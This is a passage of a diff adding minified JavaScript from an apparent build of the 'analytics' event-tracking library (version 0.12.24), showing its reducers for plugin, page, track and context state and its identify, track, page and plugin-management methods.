+ if (/^registerPlugin:([^:]*)$/.test(t.type)) {
1035
+ var i = ke(t.type, "registerPlugin"),
1036
+ o = e()[i];
1037
+ if (!o || !i) return n;
1038
+ var u = t.enabled,
1039
+ c = o.config;
1040
+ return r[i] = {
1041
+ enabled: u,
1042
+ initialized: !!u && Boolean(!o.initialize),
1043
+ loaded: !!u && Boolean(o.loaded({
1044
+ config: c
1045
+ })),
1046
+ config: c
1047
+ }, a({}, n, r)
1048
+ }
1049
+ if (/^initialize:([^:]*)$/.test(t.type)) {
1050
+ var s = ke(t.type, Q.initialize),
1051
+ l = e()[s];
1052
+ return l && s ? (r[s] = a({}, n[s], {
1053
+ initialized: !0,
1054
+ loaded: Boolean(l.loaded({
1055
+ config: l.config
1056
+ }))
1057
+ }), a({}, n, r)) : n
1058
+ }
1059
+ if (/^ready:([^:]*)$/.test(t.type)) return r[t.name] = a({}, n[t.name], {
1060
+ loaded: !0
1061
+ }), a({}, n, r);
1062
+ switch (t.type) {
1063
+ case Q.disablePlugin:
1064
+ return a({}, n, Te(t.plugins, !1, n));
1065
+ case Q.enablePlugin:
1066
+ return a({}, n, Te(t.plugins, !0, n));
1067
+ default:
1068
+ return n
1069
+ }
1070
+ }
1071
+ }
1072
+
1073
+ function ke(e, n) {
1074
+ return e.substring(n.length + 1, e.length)
1075
+ }
1076
+
1077
+ function Te(e, n, t) {
1078
+ return e.reduce(function(e, r) {
1079
+ return e[r] = a({}, t[r], {
1080
+ enabled: n
1081
+ }), e
1082
+ }, t)
1083
+ }
1084
+
1085
+ function Me(e) {
1086
+ try {
1087
+ return JSON.parse(JSON.stringify(e))
1088
+ } catch (e) {}
1089
+ return e
1090
+ }
1091
+ var ze = {
1092
+ last: {},
1093
+ history: []
1094
+ };
1095
+
1096
+ function Le(e, n) {
1097
+ void 0 === e && (e = ze);
1098
+ var t = n.options,
1099
+ r = n.meta;
1100
+ if (n.type === Q.track) {
1101
+ var i = Me(a({
1102
+ event: n.event,
1103
+ properties: n.properties
1104
+ }, Object.keys(t).length && {
1105
+ options: t
1106
+ }, {
1107
+ meta: r
1108
+ }));
1109
+ return a({}, e, {
1110
+ last: i,
1111
+ history: e.history.concat(i)
1112
+ })
1113
+ }
1114
+ return e
1115
+ }
1116
+ var Ue = {
1117
+ actions: []
1118
+ };
1119
+
1120
+ function qe(e, n) {
1121
+ void 0 === e && (e = Ue);
1122
+ var t = n.payload;
1123
+ switch (n.type) {
1124
+ case "queue":
1125
+ var r;
1126
+ return r = t && t.type && t.type === Q.identify ? [n].concat(e.actions) : e.actions.concat(n), a({}, e, {
1127
+ actions: r
1128
+ });
1129
+ case "dequeue":
1130
+ return [];
1131
+ default:
1132
+ return e
1133
+ }
1134
+ }
1135
+ var Ce = /#.*$/;
1136
+
1137
+ function De(e) {
1138
+ var n = /(http[s]?:\/\/)?([^\/\s]+\/)(.*)/g.exec(e);
1139
+ return "/" + (n && n[3] ? n[3].split("?")[0].replace(Ce, "") : "")
1140
+ }
1141
+ var Ve, Re, $e, Be, Xe = function(e) {
1142
+ if (void 0 === e && (e = {}), !m) return e;
1143
+ var n = document,
1144
+ t = n.title,
1145
+ r = n.referrer,
1146
+ i = window,
1147
+ o = i.location,
1148
+ u = i.innerWidth,
1149
+ c = i.innerHeight,
1150
+ s = o.hash,
1151
+ l = o.search,
1152
+ f = function(e) {
1153
+ var n = function() {
1154
+ if (m)
1155
+ for (var e, n = document.getElementsByTagName("link"), t = 0; e = n[t]; t++)
1156
+ if ("canonical" === e.getAttribute("rel")) return e.getAttribute("href")
1157
+ }();
1158
+ return n ? n.match(/\?/) ? n : n + e : window.location.href.replace(Ce, "")
1159
+ }(l),
1160
+ d = {
1161
+ title: t,
1162
+ url: f,
1163
+ path: De(f),
1164
+ hash: s,
1165
+ search: l,
1166
+ width: u,
1167
+ height: c
1168
+ };
1169
+ return r && "" !== r && (d.referrer = r), a({}, d, e)
1170
+ },
1171
+ Je = {
1172
+ last: {},
1173
+ history: []
1174
+ };
1175
+
1176
+ function We(e, n) {
1177
+ void 0 === e && (e = Je);
1178
+ var t = n.options;
1179
+ if (n.type === Q.page) {
1180
+ var r = Me(a({
1181
+ properties: n.properties,
1182
+ meta: n.meta
1183
+ }, Object.keys(t).length && {
1184
+ options: t
1185
+ }));
1186
+ return a({}, e, {
1187
+ last: r,
1188
+ history: e.history.concat(r)
1189
+ })
1190
+ }
1191
+ return e
1192
+ }
1193
+ Ve = function() {
1194
+ if (!m) return !1;
1195
+ var e = navigator.appVersion;
1196
+ return ~e.indexOf("Win") ? "Windows" : ~e.indexOf("Mac") ? "MacOS" : ~e.indexOf("X11") ? "UNIX" : ~e.indexOf("Linux") ? "Linux" : "Unknown OS"
1197
+ }(), Re = m ? document.referrer : null, $e = function() {
1198
+ if (m) {
1199
+ var e = navigator,
1200
+ n = e.languages;
1201
+ return e.userLanguage || (n && n.length ? n[0] : e.language)
1202
+ }
1203
+ }(), Be = function() {
1204
+ try {
1205
+ return Intl.DateTimeFormat().resolvedOptions().timeZone
1206
+ } catch (e) {}
1207
+ }();
1208
+ var He = {
1209
+ initialized: !1,
1210
+ sessionId: A(),
1211
+ app: null,
1212
+ version: null,
1213
+ debug: !1,
1214
+ offline: !!m && !navigator.onLine,
1215
+ os: {
1216
+ name: Ve
1217
+ },
1218
+ userAgent: m ? navigator.userAgent : "node",
1219
+ library: {
1220
+ name: H,
1221
+ version: "0.12.24"
1222
+ },
1223
+ timezone: Be,
1224
+ locale: $e,
1225
+ campaign: {},
1226
+ referrer: Re
1227
+ };
1228
+
1229
+ function Fe(e, n) {
1230
+ void 0 === e && (e = He);
1231
+ var t = e.initialized,
1232
+ r = n.campaign;
1233
+ switch (n.type) {
1234
+ case Q.campaign:
1235
+ return a({}, e, {
1236
+ campaign: r
1237
+ });
1238
+ case Q.offline:
1239
+ return a({}, e, {
1240
+ offline: !0
1241
+ });
1242
+ case Q.online:
1243
+ return a({}, e, {
1244
+ offline: !1
1245
+ });
1246
+ default:
1247
+ return t ? e : a({}, He, e, {
1248
+ initialized: !0
1249
+ })
1250
+ }
1251
+ }
1252
+ var Ze = ["plugins", "reducers", "storage"];
1253
+
1254
+ function Ge(e, n, t) {
1255
+ if (m) {
1256
+ var r = window[(t ? "add" : "remove") + "EventListener"];
1257
+ e.split(" ").forEach(function(e) {
1258
+ r(e, n)
1259
+ })
1260
+ }
1261
+ }
1262
+
1263
+ function Ke(e) {
1264
+ var n = Ge.bind(null, "online offline", function(n) {
1265
+ return Promise.resolve(!navigator.onLine).then(e)
1266
+ });
1267
+ return n(!0),
1268
+ function(e) {
1269
+ return n(!1)
1270
+ }
1271
+ }
1272
+
1273
+ function Qe() {
1274
+ return t(H, []),
1275
+ function(e) {
1276
+ return function(n, t, a) {
1277
+ var o = e(n, t, a),
1278
+ u = o.dispatch;
1279
+ return Object.assign(o, {
1280
+ dispatch: function(e) {
1281
+ return r[i][H].push(e.action || e), u(e)
1282
+ }
1283
+ })
1284
+ }
1285
+ }
1286
+ }
1287
+
1288
+ function Ye(e) {
1289
+ return function() {
1290
+ return R(R.apply(null, arguments), Qe())
1291
+ }
1292
+ }
1293
+
1294
+ function en(e) {
1295
+ return e ? function(e) {
1296
+ return y(e) === d
1297
+ }(e) ? e : [e] : []
1298
+ }
1299
+
1300
+ function nn(e, n, t) {
1301
+ void 0 === e && (e = {});
1302
+ var r, i, o = A();
1303
+ return n && (ue[o] = (r = n, i = function(e) {
1304
+ for (var n, t = e || Array.prototype.slice.call(arguments), r = 0; r < t.length; r++)
1305
+ if (w(t[r])) {
1306
+ n = t[r];
1307
+ break
1308
+ } return n
1309
+ }(t), function(e) {
1310
+ i && i(e), r(e)
1311
+ })), a({}, e, {
1312
+ rid: o,
1313
+ ts: (new Date).getTime()
1314
+ }, n ? {
1315
+ hasCallback: !0
1316
+ } : {})
1317
+ }
1318
+
1319
+ function tn(r) {
1320
+ void 0 === r && (r = {});
1321
+ var i = r.reducers || {},
1322
+ o = r.initialUser || {},
1323
+ u = (r.plugins || []).reduce(function(e, n) {
1324
+ if (w(n)) return e.middlewares = e.middlewares.concat(n), e;
1325
+ if (n.NAMESPACE && (n.name = n.NAMESPACE), !n.name) throw new Error("https://lytics.dev/errors/1");
1326
+ n.config || (n.config = {});
1327
+ var t = n.EVENTS ? Object.keys(n.EVENTS).map(function(e) {
1328
+ return n.EVENTS[e]
1329
+ }) : [];
1330
+ e.pluginEnabled[n.name] = !(!1 === n.enabled || !1 === n.config.enabled), delete n.enabled, n.methods && (e.methods[n.name] = Object.keys(n.methods).reduce(function(e, t) {
1331
+ return e[t] = function(e) {
1332
+ return function() {
1333
+ for (var n = Array.prototype.slice.call(arguments), t = new Array(e.length), r = 0; r < n.length; r++) t[r] = n[r];
1334
+ return t[t.length] = C, e.apply({
1335
+ instance: C
1336
+ }, t)
1337
+ }
1338
+ }(n.methods[t]), e
1339
+ }, {}), delete n.methods);
1340
+ var r = Object.keys(n).concat(t),
1341
+ i = new Set(e.events.concat(r));
1342
+ if (e.events = Array.from(i), e.pluginsArray = e.pluginsArray.concat(n), e.plugins[n.name]) throw new Error(n.name + "AlreadyLoaded");
1343
+ return e.plugins[n.name] = n, e.plugins[n.name].loaded || (e.plugins[n.name].loaded = function() {
1344
+ return !0
1345
+ }), e
1346
+ }, {
1347
+ plugins: {},
1348
+ pluginEnabled: {},
1349
+ methods: {},
1350
+ pluginsArray: [],
1351
+ middlewares: [],
1352
+ events: []
1353
+ }),
1354
+ c = r.storage ? r.storage : {
1355
+ getItem: e,
1356
+ setItem: t,
1357
+ removeItem: n
1358
+ },
1359
+ l = function(n) {
1360
+ return function(t, r, i) {
1361
+ return r.getState("user")[t] || (i && x(i) && i[t] ? i[t] : ie(n)[t] || e(ae(t)) || null)
1362
+ }
1363
+ }(c),
1364
+ f = u.plugins,
1365
+ d = u.events.filter(function(e) {
1366
+ return !K.includes(e)
1367
+ }).sort(),
1368
+ p = new Set(d.concat(G).filter(function(e) {
1369
+ return !K.includes(e)
1370
+ })),
1371
+ g = Array.from(p).sort(),
1372
+ v = function() {
1373
+ return f
1374
+ },
1375
+ h = new je,
1376
+ y = h.addMiddleware,
1377
+ b = h.removeMiddleware,
1378
+ E = h.dynamicMiddlewares,
1379
+ P = function() {
1380
+ throw new Error("Abort disabled inListener")
1381
+ },
1382
+ S = function(e) {
1383
+ for (var n, t = Object.create(null), r = /([^&=]+)=?([^&]*)/g; n = r.exec(e);) {
1384
+ var i = N(n[1]),
1385
+ a = N(n[2]);
1386
+ "[]" === i.substring(i.length - 2) ? (t[i = i.substring(0, i.length - 2)] || (t[i] = [])).push(a) : t[i] = "" === a || a
1387
+ }
1388
+ for (var o in t) {
1389
+ var u = o.split("[");
1390
+ u.length > 1 && (j(t, u.map(function(e) {
1391
+ return e.replace(/[?[\]\\ ]/g, "")
1392
+ }), t[o]), delete t[o])
1393
+ }
1394
+ return t
1395
+ }(m && window.location.search.substring(1)),
1396
+ O = ie(c),
1397
+ _ = a({}, O, o, S.an_uid ? {
1398
+ userId: S.an_uid
1399
+ } : {}, S.an_aid ? {
1400
+ anonymousId: S.an_aid
1401
+ } : {});
1402
+ _.anonymousId || (_.anonymousId = A());
1403
+ var z = a({
1404
+ enable: function(e, n) {
1405
+ return new Promise(function(t) {
1406
+ ce.dispatch({
1407
+ type: Q.enablePlugin,
1408
+ plugins: en(e),
1409
+ _: {
1410
+ originalAction: Q.enablePlugin
1411
+ }
1412
+ }, t, [n])
1413
+ })
1414
+ },
1415
+ disable: function(e, n) {
1416
+ return new Promise(function(t) {
1417
+ ce.dispatch({
1418
+ type: Q.disablePlugin,
1419
+ plugins: en(e),
1420
+ _: {
1421
+ originalAction: Q.disablePlugin
1422
+ }
1423
+ }, t, [n])
1424
+ })
1425
+ }
1426
+ }, u.methods),
1427
+ q = !1,
1428
+ C = {
1429
+ identify: function(e, n, r, i) {
1430
+ try {
1431
+ var o = I(e) ? e : null,
1432
+ u = x(e) ? e : n,
1433
+ c = r || {},
1434
+ s = C.user();
1435
+ t(ae(F), o);
1436
+ var f = o || u.userId || l(F, C, u);
1437
+ return Promise.resolve(new Promise(function(e) {
1438
+ ce.dispatch(a({
1439
+ type: Q.identifyStart,
1440
+ userId: f,
1441
+ traits: u || {},
1442
+ options: c,
1443
+ anonymousId: s.anonymousId
1444
+ }, s.id && s.id !== o && {
1445
+ previousId: s.id
1446
+ }), e, [n, r, i])
1447
+ }))
1448
+ } catch (e) {
1449
+ return Promise.reject(e)
1450
+ }
1451
+ },
1452
+ track: function(e, n, t, r) {
1453
+ try {
1454
+ var i = x(e) ? e.event : e;
1455
+ if (!i || !I(i)) throw new Error("EventMissing");
1456
+ var a = x(e) ? e : n || {},
1457
+ o = x(t) ? t : {};
1458
+ return Promise.resolve(new Promise(function(e) {
1459
+ ce.dispatch({
1460
+ type: Q.trackStart,
1461
+ event: i,
1462
+ properties: a,
1463
+ options: o,
1464
+ userId: l(F, C, n),
1465
+ anonymousId: l(Z, C, n)
1466
+ }, e, [n, t, r])
1467
+ }))
1468
+ } catch (e) {
1469
+ return Promise.reject(e)
1470
+ }
1471
+ },
1472
+ page: function(e, n, t) {
1473
+ try {
1474
+ var r = x(e) ? e : {},
1475
+ i = x(n) ? n : {};
1476
+ return Promise.resolve(new Promise(function(a) {
1477
+ ce.dispatch({
1478
+ type: Q.pageStart,
1479
+ properties: Xe(r),
1480
+ options: i,
1481
+ userId: l(F, C, r),
1482
+ anonymousId: l(Z, C, r)
1483
+ }, a, [e, n, t])
1484
+ }))
1485
+ } catch (e) {
1486
+ return Promise.reject(e)
1487
+ }
1488
+ },
1489
+ user: function(e) {
1490
+ if (e === F || "id" === e) return l(F, C);
1491
+ if (e === Z || "anonId" === e) return l(Z, C);
1492
+ var n = C.getState("user");
1493
+ return e ? s(n, e) : n
1494
+ },
1495
+ reset: function(e) {
1496
+ return new Promise(function(n) {
1497
+ ce.dispatch({
1498
+ type: Q.resetStart
1499
+ }, n, e)
1500
+ })
1501
+ },
1502
+ ready: function(e) {
1503
+ return q && e({
1504
+ plugins: z,
1505
+ instance: C
1506
+ }), C.on(Q.ready, function(n) {
1507
+ e(n), q = !0
1508
+ })
1509
+ },
1510
+ on: function(e, n) {
1511
+ if (!e || !w(n)) return !1;
1512
+ if (e === Q.bootstrap) throw new Error(".on disabled for " + e);
1513
+ var t = /Start$|Start:/;
1514
+ if ("*" === e) {
1515
+ var r = function(e) {
1516
+ return function(e) {
1517
+ return function(r) {
1518
+ return r.type.match(t) && n({
1519
+ payload: r,
1520
+ instance: C,
1521
+ plugins: f
1522
+ }), e(r)
1523
+ }
1524
+ }
1525
+ },
1526
+ i = function(e) {
1527
+ return function(e) {
1528
+ return function(r) {
1529
+ return r.type.match(t) || n({
1530
+ payload: r,
1531
+ instance: C,
1532
+ plugins: f
1533
+ }), e(r)
1534
+ }
1535
+ }
1536
+ };
1537
+ return y(r, rn), y(i, an),
1538
+ function() {
1539
+ b(r, rn), b(i, an)
1540
+ }
1541
+ }
1542
+ var a = e.match(t) ? rn : an,
1543
+ o = function(t) {
1544
+ return function(t) {
1545
+ return function(r) {
1546
+ return r.type === e && n({
1547
+ payload: r,
1548
+ instance: C,
1549
+ plugins: f,
1550
+ abort: P
1551
+ }), t(r)
1552
+ }
1553
+ }
1554
+ };
1555
+ return y(o, a),
1556
+ function() {
1557
+ return b(o, a)
1558
+ }
1559
+ },
1560
+ once: function(e, n) {
1561
+ if (!e || !w(n)) return !1;
1562
+ if (e === Q.bootstrap) throw new Error(".once disabled for " + e);
1563
+ var t = C.on(e, function(e) {
1564
+ n({
1565
+ payload: e.payload,
1566
+ instance: C,
1567
+ plugins: f,
1568
+ abort: P
1569
+ }), t()
1570
+ });
1571
+ return t
1572
+ },
1573
+ getState: function(e) {
1574
+ var n = ce.getState();
1575
+ return e ? s(n, e) : Object.assign({}, n)
1576
+ },
1577
+ dispatch: function(e) {
1578
+ var n = I(e) ? {
1579
+ type: e
1580
+ } : e;
1581
+ if (G.includes(n.type)) throw new Error("reserved action " + n.type);
1582
+ var t = a({}, n, {
1583
+ _: a({
1584
+ originalAction: n.type
1585
+ }, e._ || {})
1586
+ });
1587
+ ce.dispatch(t)
1588
+ },
1589
+ enablePlugin: z.enable,
1590
+ disablePlugin: z.disable,
1591
+ plugins: z,
1592
+ storage: {
1593
+ getItem: c.getItem,
1594
+ setItem: function(e, n, t) {
1595
+ ce.dispatch({
1596
+ type: Q.setItemStart,
1597
+ key: e,
1598
+ value: n,
1599
+ options: t
1600
+ })
1601
+ },
1602
+ removeItem: function(e, n) {
1603
+ ce.dispatch({
1604
+ type: Q.removeItemStart,
1605
+ key: e,
1606
+ options: n
1607
+ })
1608
+ }
1609
+ },
1610
+ setAnonymousId: function(e, n) {
1611
+ C.storage.setItem(B, e, n)
1612
+ },
1613
+ events: {
1614
+ core: G,
1615
+ plugins: d
1616
+ }
1617
+ },
1618
+ X = u.middlewares.concat([function(e) {
1619
+ return function(e) {
1620
+ return function(n) {
1621
+ return n.meta || (n.meta = nn()), e(n)
1622
+ }
1623
+ }
1624
+ }, E(rn), _e(C, v, {
1625
+ all: g,
1626
+ plugins: d
1627
+ }), Ne(c), te(C), oe(C), E(an)]),
1628
+ J = {
1629
+ context: Fe,
1630
+ user: re(c),
1631
+ page: We,
1632
+ track: Le,
1633
+ plugins: Ae(v),
1634
+ queue: qe
1635
+ },
1636
+ W = R,
1637
+ H = R;
1638
+ if (m && r.debug) {
1639
+ var Y = window.__REDUX_DEVTOOLS_EXTENSION_COMPOSE__;
1640
+ Y && (W = Y({
1641
+ trace: !0,
1642
+ traceLimit: 25
1643
+ })), H = function() {
1644
+ return 0 === arguments.length ? Qe() : x(typeof arguments[0]) ? Ye() : Ye().apply(null, arguments)
1645
+ }
1646
+ }
1647
+ var ee = function(e) {
1648
+ return Object.keys(e).reduce(function(n, t) {
1649
+ return Ze.includes(t) || (n[t] = e[t]), n
1650
+ }, {})
1651
+ }(r),
1652
+ ne = u.pluginsArray.reduce(function(e, n) {
1653
+ var t = n.name,
1654
+ r = n.config,
1655
+ i = n.loaded,
1656
+ a = u.pluginEnabled[t];
1657
+ return e[t] = {
1658
+ enabled: a,
1659
+ initialized: !!a && Boolean(!n.initialize),
1660
+ loaded: Boolean(i({
1661
+ config: r
1662
+ })),
1663
+ config: r
1664
+ }, e
1665
+ }, {}),
1666
+ ue = {
1667
+ context: ee,
1668
+ user: _,
1669
+ plugins: ne
1670
+ },
1671
+ ce = D(function(e) {
1672
+ for (var n = Object.keys(e), t = {}, r = 0; r < n.length; r++) {
1673
+ var i = n[r];
1674
+ typeof e[i] === k && (t[i] = e[i])
1675
+ }
1676
+ var a, o = Object.keys(t);
1677
+ try {
1678
+ ! function(e) {
1679
+ Object.keys(e).forEach(function(n) {
1680
+ var t = e[n];
1681
+ if (typeof t(void 0, {
1682
+ type: L
1683
+ }) === T || typeof t(void 0, {
1684
+ type: U
1685
+ }) === T) throw new Error(M + " " + n + " " + T)
1686
+ })
1687
+ }(t)
1688
+ } catch (e) {
1689
+ a = e
1690
+ }
1691
+ return function(e, n) {
1692
+ if (void 0 === e && (e = {}), a) throw a;
1693
+ for (var r = !1, i = {}, u = 0; u < o.length; u++) {
1694
+ var c = o[u],
1695
+ s = e[c],
1696
+ l = (0, t[c])(s, n);
1697
+ if (typeof l === T) {
1698
+ var f = V(c, n);
1699
+ throw new Error(f)
1700
+ }
1701
+ i[c] = l, r = r || l !== s
1702
+ }
1703
+ return r ? i : e
1704
+ }
1705
+ }(a({}, J, i)), ue, H(W($.apply(void 0, X))));
1706
+ ce.dispatch = function(e) {
1707
+ return function(n, t, r) {
1708
+ var i = a({}, n, {
1709
+ meta: nn(n.meta, t, en(r))
1710
+ });
1711
+ return e.apply(null, [i])
1712
+ }
1713
+ }(ce.dispatch);
1714
+ var se = Object.keys(f);
1715
+ ce.dispatch({
1716
+ type: Q.bootstrap,
1717
+ plugins: se,
1718
+ config: ee,
1719
+ params: S,
1720
+ user: _,
1721
+ initialUser: o,
1722
+ persistedUser: O
1723
+ });
1724
+ var le = se.filter(function(e) {
1725
+ return u.pluginEnabled[e]
1726
+ }),
1727
+ de = se.filter(function(e) {
1728
+ return !u.pluginEnabled[e]
1729
+ });
1730
+ return ce.dispatch({
1731
+ type: Q.registerPlugins,
1732
+ plugins: se,
1733
+ enabled: u.pluginEnabled
1734
+ }), u.pluginsArray.map(function(e, n) {
1735
+ var t = e.bootstrap,
1736
+ r = e.config,
1737
+ i = e.name;
1738
+ t && w(t) && t({
1739
+ instance: C,
1740
+ config: r,
1741
+ payload: e
1742
+ }), ce.dispatch({
1743
+ type: Q.registerPluginType(i),
1744
+ name: i,
1745
+ enabled: u.pluginEnabled[i],
1746
+ plugin: e
1747
+ }), u.pluginsArray.length === n + 1 && ce.dispatch({
1748
+ type: Q.initializeStart,
1749
+ plugins: le,
1750
+ disabled: de
1751
+ })
1752
+ }), Ke(function(e) {
1753
+ ce.dispatch({
1754
+ type: e ? Q.offline : Q.online
1755
+ })
1756
+ }),
1757
+ function(e, n, t) {
1758
+ setInterval(function() {
1759
+ return fe(e, n, t)
1760
+ }, 3e3)
1761
+ }(ce, v, C), C
1762
+ }
1763
+ var rn = "before",
1764
+ an = "after";